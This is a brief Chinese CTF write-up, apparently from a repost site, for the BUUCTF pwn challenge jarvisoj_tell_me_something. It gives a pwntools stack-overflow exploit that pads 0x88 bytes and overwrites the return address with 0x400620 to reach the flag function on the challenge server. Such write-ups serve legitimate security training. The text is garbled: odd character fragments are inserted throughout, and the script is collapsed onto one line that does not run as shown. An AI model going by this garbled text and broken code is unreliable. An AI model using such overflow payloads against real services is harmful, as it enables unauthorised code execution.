64位程序，開啟了NX保護(hù)

400620

from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'*(0x88)+p64(flag_addr)r.sendline(payload)r.interactive()

這道題需要注意的一點(diǎn)是沒有返回

這是其棧結(jié)構(gòu)

所以這道題直接溢出0x88即可

總結(jié)

以上是生活随笔為你收集整理的Buuctf(pwn) jarvisoj_tell_me_something 栈溢出的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。